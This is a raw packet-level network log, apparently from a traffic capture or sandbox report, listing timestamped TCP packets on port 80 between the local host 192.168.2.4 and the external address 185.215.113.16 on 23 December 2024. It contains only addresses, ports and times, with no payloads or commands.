Dec 23, 2024 08:07:58.029958010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.030009031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.030117989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.030209064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.031018972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.031136990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.031330109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.032051086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.032197952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.032433987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.033014059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.033122063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.033235073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.034017086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.034199953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.034291029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.035021067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.035135031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.035244942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.036176920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.036190987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.036319017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.037019968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.037142038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.037442923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.038038015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.038142920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.038229942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.039048910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.039068937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.039299011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.040057898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.040162086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.040307045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.041042089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.041148901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.041306019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.042062998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.042267084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.042411089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.043062925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.043102980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.043150902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.044061899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.044203043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.045053005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.045128107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.045181990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.045263052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.046063900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.046169996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.047060013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.047158003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.047218084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.047364950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.048088074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.048188925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.048444986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.049084902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.049211025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.049382925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.050106049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.050193071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.050596952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.051075935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.051189899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.051332951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.052110910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.052205086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.052484035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.053173065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.053262949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.053569078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.054132938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.054250956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.054383039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.055140972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.055222034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.055376053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.056040049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.099495888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.195518017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.195626974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.196037054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.196146011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.196285963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.197192907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.197220087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.197288990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.197321892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.198374987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.198390007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.199174881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.199201107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.199361086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.200205088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.200303078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.200334072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.201212883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.201303959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.201838017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.202233076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.202291012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.203176975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.203274012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.203303099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.204191923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.204242945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.204302073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.205173016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.205295086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.205297947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.206206083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.206310034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.206367016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.207192898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.207278013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.207461119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.208210945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.208311081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.208333969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.209229946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.209285021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.209341049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.210210085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.210321903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.210468054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.211333036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.211354971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.211648941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.212229013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.212305069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.212321043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.213231087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.213318110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.213383913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.214246035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.214266062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.214401960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.215213060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.215296984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.215323925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.216276884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.216342926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.216387033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.217247963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.217343092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.217405081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.218260050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.218362093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.218373060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.219227076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.219355106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.219387054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.220254898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.220382929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.220410109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.221261978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.221390963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.221601963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.222246885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.222304106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.222338915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.223268986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.223434925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.223493099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.224272966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.224443913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.224443913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.225260019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.225364923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.225405931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.226252079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.226366043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.226430893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.227282047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.227344036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.227381945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.228271008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.228331089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.228370905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.229275942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.229383945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.229407072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.230273962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.230353117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.230452061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.231265068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.231333017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.231380939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.232501984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.232542038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.232582092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.233292103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.233350992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.233391047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.234376907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.234445095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.234474897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.235280991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.235343933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.235394955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.236324072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.236402035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.236602068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.237302065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.237421036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.237494946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.238322973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.238424063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.238482952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.239316940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.239372969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.239530087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.240323067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.240406990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.240505934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.241309881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.241379023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.241425991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.242314100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.242427111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.242486000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.243318081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.243374109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.243412018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.244369984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.244493008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.244553089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.245316029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.245421886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.245547056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.246367931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.246434927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.246540070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.247349977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.247454882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.247560024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.305860043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.435592890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.555141926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.555217981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.555646896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.555744886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.561475992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.687990904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.807535887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.807667017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.807708025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.808048964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.808166981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.808213949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.809036970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.809146881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.809222937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.810034990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.810158014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.810205936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.811042070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.811150074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.811208963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.812052011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.812184095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.812232971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.813071966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.813172102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.813306093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.814060926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.814169884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.814224005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.815077066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.815113068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.815167904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.816091061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.816196918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.816258907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.819006920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.819048882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.819063902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.819087982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.819215059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.819228888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.819240093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.819277048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.819334030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.820118904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.820224047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.820271969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.821120024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.821187019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.821271896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.822098017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.822207928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.822246075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.823077917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.823188066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.823245049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.824109077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.824244022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.824309111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.825112104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.825220108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.825278997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.826102018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.826209068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.826359034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.827100992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.827222109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.827291965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.828119993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.828239918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.828284979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.829112053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.829133034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.829178095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.830102921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.830154896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.830218077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.831118107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.831388950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.831446886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.831525087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.832401037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.832438946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.832504034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.833342075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.833426952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.833475113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.834408998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.834496975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.834537029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.835378885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.835422039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.835566044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.836393118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.836445093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.836527109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.837420940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:58.837519884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:58.837610960 CET	80	49744	185.215.113.16	192.168.2.4
